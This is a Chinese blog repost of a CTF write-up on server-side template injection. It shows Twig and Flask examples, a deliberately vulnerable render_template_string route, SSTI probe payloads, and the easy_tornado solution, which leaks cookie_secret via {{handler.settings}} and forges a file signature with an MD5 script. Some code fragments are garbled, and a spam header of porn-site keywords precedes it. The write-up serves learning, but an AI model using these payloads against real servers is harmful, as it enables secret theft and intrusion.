日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > python >内容正文

python

python模板注入_BUUCTF/护网杯 easy_tornado 模板注入

發(fā)布時(shí)間:2023/12/20 python 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python模板注入_BUUCTF/护网杯 easy_tornado 模板注入 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

首先簡(jiǎn)單認(rèn)識(shí)一下模板注入

模板注入涉及的是服務(wù)端Web應(yīng)用使用模板引擎渲染用戶請(qǐng)求的過(guò)程,這里我們使用 PHP 模版引擎 Twig 作為例子來(lái)說(shuō)明模板注入產(chǎn)生的原理。考慮下面這段代碼:

require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig= new Twig_Environment(new Twig_Loader_String()); $output= $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 將用戶輸入作為模版變量的值 echo $output;

?>

使用 Twig 模版引擎渲染頁(yè)面,其中模版含有 {{name}} 變量,其模版變量值來(lái)自于 GET 請(qǐng)求參數(shù) $_GET["name"] 。顯然這段代碼并沒(méi)有什么問(wèn)題,即使你想通過(guò) name 參數(shù)傳遞一段 JavaScript 代碼給服務(wù)端進(jìn)行渲染,也許你會(huì)認(rèn)為這里可以進(jìn)行 XSS,但是由于模版引擎一般都默認(rèn)對(duì)渲染的變量值進(jìn)行編碼和轉(zhuǎn)義,所以并不會(huì)造成跨站腳本攻擊:

但是,如果渲染的模版內(nèi)容受到用戶的控制,情況就不一樣了。修改代碼為:

require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig= new Twig_Environment(new Twig_Loader_String()); $output= $twig->render("Hello {$_GET['name']}"); // 將用戶輸入作為模版內(nèi)容的一部分 echo $output;

上面這段代碼在構(gòu)建模版時(shí),拼接了用戶輸入作為模板的內(nèi)容,現(xiàn)在如果再向服務(wù)端直接傳遞 JavaScript 代碼,用戶輸入會(huì)原樣輸出,測(cè)試結(jié)果顯而易見(jiàn):

對(duì)比上面兩種情況,簡(jiǎn)單的說(shuō)服務(wù)端模板注入的形成終究還是因?yàn)榉?wù)端相信了用戶的輸出而造成的(Web安全真諦:永遠(yuǎn)不要相信用戶的輸入!)。

模板注入檢測(cè)

上面已經(jīng)講明了模板注入的形成原來(lái),現(xiàn)在就來(lái)談?wù)剬?duì)其進(jìn)行檢測(cè)和掃描的方法。如果服務(wù)端將用戶的輸入作為了模板的一部分,那么在頁(yè)面渲染時(shí)也必定會(huì)將用戶輸入的內(nèi)容進(jìn)行模版編譯和解析最后輸出。

借用本文第二部分所用到的代碼:

require_once dirname(FILE).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true);

output=

_GET['name']}"); // 將用戶輸入作為模版內(nèi)容的一部分 echo $output;

在 Twig 模板引擎里,{{ var }} 除了可以輸出傳遞的變量以外,還能執(zhí)行一些基本的表達(dá)式然后將其結(jié)果作為該模板變量的值,例如這里用戶輸入 name={{2*10}} ,則在服務(wù)端拼接的模版內(nèi)容為:

Hello {{2*10}}

Twig 模板引擎在編譯模板的過(guò)程中會(huì)計(jì)算 {{210}} 中的表達(dá)式 210 ,會(huì)將其返回值 20 作為模板變量的值輸出,如下圖:

現(xiàn)在把測(cè)試的數(shù)據(jù)改變一下,插入一些正常字符和 Twig 模板引擎默認(rèn)的注釋符,構(gòu)造 Payload 為:

IsVuln{# comment #}{{2*8}}OK

實(shí)際服務(wù)端要進(jìn)行編譯的模板就被構(gòu)造為:

Hello IsVuln{# comment #}{{2*8}}OK

這里簡(jiǎn)單分析一下,由于 {# comment #} 作為 Twig 模板引擎的默認(rèn)注釋形式,所以在前端輸出的時(shí)候并不會(huì)顯示,而 {{2*8}} 作為模板變量最終會(huì)返回 16 作為其值進(jìn)行顯示,因此前端最終會(huì)返回內(nèi)容 Hello IsVuln16OK ,如下圖:

重點(diǎn)來(lái)了,不同引擎有不同的測(cè)試以及注入方式!

模板注入

flask/jinja2模板注入

Flask是一個(gè)使用 Python 編寫(xiě)的輕量級(jí) Web 應(yīng)用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎則使用 Jinja2

Flask框架中提供的模版引擎可能會(huì)被一些無(wú)量開(kāi)發(fā)者利用引入一個(gè)服務(wù)端模版注入漏洞,如果對(duì)此感到有些困惑可以看看James Kettle在黑帽大會(huì)中分享的議題(PDF),簡(jiǎn)而言之這個(gè)漏洞允許將語(yǔ)言/語(yǔ)法注入到模板中。在服務(wù)器的context中執(zhí)行這個(gè)輸入重現(xiàn),根據(jù)應(yīng)用的context可能導(dǎo)致任意遠(yuǎn)程代碼執(zhí)行(遠(yuǎn)端控制設(shè)備)

PHP/模版引擎Twig注入

可以參考本博客文章 Flask從零到無(wú) 。

這里給出一個(gè)漏洞環(huán)境代碼,本地測(cè)試

from flask import Flask

from flask import render_template

from flask import request

from flask import render_template_string

app = Flask(__name__)

@app.route('/test',methods=['GET', 'POST'])

def test():

template = '''

Oops! That page doesn't exist.

%s

''' %(request.url)

return render_template_string(template)

if __name__ == '__main__':

app.debug = True

app.run()

代碼簡(jiǎn)析: 我們自己簡(jiǎn)單寫(xiě)一個(gè)string類(lèi)型的 html,html返回當(dāng)前url,我們放入到渲染函數(shù)render_template_string進(jìn)行渲染,然后頁(yè)面會(huì)打印出當(dāng)前url,如果url里含有{{}} 那么便可以進(jìn)行模板注入。

測(cè)試結(jié)果如下:

image

而如果我們使用render_template函數(shù),

@app.route('/',methods=['GET', 'POST'])

@app.route('/index',methods=['GET', 'POST'])#我們?cè)L問(wèn)/或者/index都會(huì)跳轉(zhuǎn)

def index():

return render_template("index.html",title='Home',user=request.args.get("key"))

index.html

{{title}} - 小豬佩奇

Hello, {{user}}!

那么將不會(huì)有模板注入,因?yàn)閞ender_template已經(jīng)傳入一個(gè)固定好了的模板,沒(méi)法再去修改,在渲染之后傳入數(shù)據(jù),只有當(dāng)?shù)谝环N代碼,我們模板可控的時(shí)候,先傳入后渲染,這樣才會(huì)導(dǎo)致ssti模板注入。

CTF 題目

這個(gè)tornado是一個(gè)python的模板,在web使用的時(shí)候給出了四個(gè)文件,可以訪問(wèn),從提示中和url中可以看出,訪問(wèn)需要文件名+文件簽名(長(zhǎng)度為32位,計(jì)算方式為md5(cookie_secret + md5(filename))); flag文件名題目已給出 /fllllllllllag

題目關(guān)鍵為如何獲取cookie,在Bp抓包的情況下沒(méi)有顯示cookie,由于是python的一個(gè)模板,首先想到的就是模板注入{{}},最終找到的位置是報(bào)錯(cuò)網(wǎng)頁(yè)(隨便訪問(wèn)一個(gè)文件是更改它的簽名就可以進(jìn)入),里面的參數(shù)msg

該處將原有參數(shù)替換可以執(zhí)行模板注入msg={{XXXXX}},需要注意,這里過(guò)濾了大多數(shù)奇怪的字符,并且跟以往的題目不同的是,這里不需要python的基類(lèi)再尋找子函數(shù),而是直接獲取環(huán)境的變量。

該思想來(lái)源于題目的提示render,render是python中的一個(gè)渲染函數(shù),也就是一種模板,通過(guò)調(diào)用的參數(shù)不同,生成不同的網(wǎng)頁(yè),簡(jiǎn)單的理解例子如下:

#!/usr/bin/env python

# -*- coding:utf-8 -*-

from tornado.web import UIModule

from tornado import escape

class custom(UIModule):

def render(self, *args, **kwargs):

return escape.xhtml_escape('

wupeiqi

')

#return escape.xhtml_escape('

wupeiqi

')

#!/usr/bin/env python

# -*- coding:utf-8 -*-

import tornado.ioloop

import tornado.web

class MainHandler(tornado.web.RequestHandler):

def get(self):

self.render('index.html')

class LoginHandler(BaseHandler):

def get(self):

'''

當(dāng)用戶訪登錄的時(shí)候我們就得給他寫(xiě)cookie了,但是這里沒(méi)有寫(xiě)在哪里寫(xiě)了呢?

在哪里呢?之前寫(xiě)的Handler都是繼承的RequestHandler,這次繼承的是BaseHandler是自己寫(xiě)的Handler

繼承自己的類(lèi),在類(lèi)了加擴(kuò)展initialize! 在這里我們可以在這里做獲取用戶cookie或者寫(xiě)cookie都可以在這里做

'''

'''

我們知道LoginHandler對(duì)象就是self,我們可不可以self.set_cookie()可不可以self.get_cookie()

'''

# self.set_cookie()

# self.get_cookie()

self.render('login.html', **{'status': ''})

def login(request):

#獲取用戶輸入

login_form = AccountForm.LoginForm(request.POST)

if request.method == 'POST':

#判斷用戶輸入是否合法

if login_form.is_valid():#如果用戶輸入是合法的

username = request.POST.get('username')

password = request.POST.get('password')

if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:

request.session['auth_user'] = username

return redirect('/index/')

else:

return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用戶名或密碼錯(cuò)誤'})

else:

error_msg = login_form.errors.as_data()

return render(request,'account/login.html',{'model': login_form,'errors':error_msg})

# 如果登錄成功,寫(xiě)入session,跳轉(zhuǎn)index

return render(request, 'account/login.html', {'model': login_form})

我們大概可以看出來(lái),render是一個(gè)類(lèi)似模板的東西,可以使用不同的參數(shù)來(lái)訪問(wèn)網(wǎng)頁(yè)。那么我們?cè)谶M(jìn)行該題目的操作時(shí),其實(shí)參數(shù)也是傳遞過(guò)來(lái)的,那么是什么參數(shù)呢。

在tornado模板中,存在一些可以訪問(wèn)的快速對(duì)象,例如

{{ escape(handler.settings["cookie"]) }}

這兩個(gè){{}}和這個(gè)字典對(duì)象也許大家就看出來(lái)了,沒(méi)錯(cuò)就是這個(gè)handler.settings對(duì)象,又黑翼天使23的博客園日志可知,

handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

大概就是說(shuō),這里面就是我們一下環(huán)境變量,我們正是從這里獲取的cookie_secret

而后使用在線的或者python的計(jì)算一下就可以

import hashlib

def md5value(s):

md5 = hashlib.md5()

md5.update(s.encode())

return md5.hexdigest()

def mdfive2():

filename = '/fllllllllllllag'

cookie = r"M)Z.>}{O]lYIp(oW7$dc132uDaK

#print(md5value(filename))

# print(md5value('*c].)Y!x%+WgjHbvfM@[U'))

# print(''+md5value(filename))

print(md5value(cookie + md5value(filename)))#hints md5(cookie_secret+md5(filename))

mdfive2()

image.png

總結(jié)

以上是生活随笔為你收集整理的python模板注入_BUUCTF/护网杯 easy_tornado 模板注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。